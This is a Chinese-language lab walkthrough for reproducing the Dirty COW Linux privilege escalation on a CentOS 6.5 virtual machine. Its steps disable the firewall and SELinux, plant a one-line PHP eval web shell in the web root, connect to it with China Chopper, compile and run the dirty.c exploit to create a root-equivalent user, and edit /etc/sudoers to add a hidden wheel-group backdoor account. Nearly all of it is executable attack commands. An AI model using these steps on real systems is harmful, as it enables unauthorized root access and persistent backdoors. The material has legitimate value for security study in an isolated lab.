操作系统: Linux ( CentOS 6.5)
Web服务: PHP+Apache
环境搭建
第一步,配置yum源,安装PHP
进入yum目录
cd /etc/yum.repos.d/
创建文件夹a
mkdir a
将此目录下的所有文件移动至文件夹a中
mv C* a
创建yum源文件
1. vim my.repo -- 创建yum源文件,内容如下: 2. 3. [sss] 4. name=my 5. baseurl=file:/media/CentOS_6.5_Final 6. gpgcheck=0
安装PHP( 安装的PHP自带Apache )
yum install php -y
安装gcc编译工具( 方便后续操作的使用 )
yum install gcc
启动Apache服务
service httpd start
关闭防火墙
service iptables stop
关闭内核防火墙
setenforce 0
访问Web网站( 里面啥也没有,主要是为了测试漏洞 )
第二步,上传木马,使用中国菜刀连接
网站根目录上传木马文件( 这里直接写一个木马文件 ),内容为一句话木马,网站的默认根目录是/var/www/html目录
cd /var/www/html/
vim shell.php
<?php eval($_POST[-7]); ?>
使用中国菜刀连接
漏洞复现
第三步,查看内核版本,上传对应的脏牛工具
使用中国菜刀打开虚拟终端,使用id命令查看当前用户
uname -a 查看Linux内核版本信息
使用中国菜刀打开文件管理,上传脏牛工具到/tmp目录下,Linux只有tmp目录默认有上传和执行权限
第四步,使用脏牛工具进行提权
进入/tmp目录,编译脏牛工具( 上传的工具属于源码脚本,编译后才能执行)
gcc -pthread dirty.c -o dirty -lcrypt
执行脏牛工具,执行文件即可,后面的数字是密码,可随便定义,
./dirty 123456
提示执行超时以及命令执行失败,不用管,查看用户信息,脚本已经生效,firefart用户具有原本root用户的权限,密码为我们上一步设置的123456
cat /etc/passwd
使用firefart用户进行远程连接( 此处使用Xshell工具进行连接 )
ssh firefart@192.168.145.130
第五步,利用提升的权限创建后门用户
还原/etc/passwd,使用脏牛工具备份的passwd.bak文件替换/etc/passwd文件
mv /tmp/passwd.bak /etc/passwd
wheel组为普通管理员组,默认不开启,利用这个wheel组来创建后门用户
修改/etc/sudoers配置文件,默认只读,需要添加修改权限
chmod u+w /etc/sudoers
去除/etc/sudoers配置文件中105行的注释,使wheel组生效
vim /etc/sudoers
创建普通用户tom,并添加至wheel组,使其拥有管理员权限
1. useradd tom 2. passwd tom 3. gpasswd -a tom wheel
低级用户切换高级用户需要高级用户的密码,而我们创建的后门用户不需要密码即可切换root用户
sudo su root